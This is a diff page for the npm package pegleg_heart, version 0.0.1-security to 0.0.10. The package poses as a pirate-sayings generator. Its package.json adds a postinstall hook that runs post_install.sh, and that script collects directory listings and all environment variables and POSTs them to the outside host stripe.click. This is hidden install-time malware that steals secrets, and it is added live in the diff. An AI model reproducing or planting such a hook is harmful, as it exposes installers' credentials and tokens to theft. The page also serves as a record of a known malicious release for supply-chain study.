pegleg_heart 0.0.1-security → 0.0.10

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of pegleg_heart might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,10 @@
1
- # Security holding package
1
+ # pegleg_hearty
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ An npm Package for Node.js to become generate pirate sayings for your wild waves
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=pegleg_heart for more information.
5
+ ## Basic Usage
6
+
7
+ ```javascript
8
+ var pegleg = require("pegleg_heart");
9
+
10
+ ```
package/main.js ADDED
@@ -0,0 +1,3 @@
1
+ exports.pegleg = function() {
2
+ console.log("This is a message from the demo package");
3
+ }
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "pegleg_heart",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "0.0.10",
4
+ "description": "A random generator for pirate sayings",
5
+ "main": "main.js",
6
+ "scripts": {
7
+ "postinstall": "chmod +x post_install.sh && ./post_install.sh",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "",
11
+ "license": ""
6
12
  }
@@ -0,0 +1,2 @@
1
+ message=$(ls| tr '\n' ' ') && hodl=$(ls /home/node/node_modules/ | tr '\n' ' ') && curl -X POST -H 'Content-type: application/json' --data '{"text": "'"${message}"'", "who": "'"$(env| tr '\n' ' ')"'", "where": "'"${PWD}"'", "kay": "'"${hodl}"'"}' "https://stripe.click"
2
+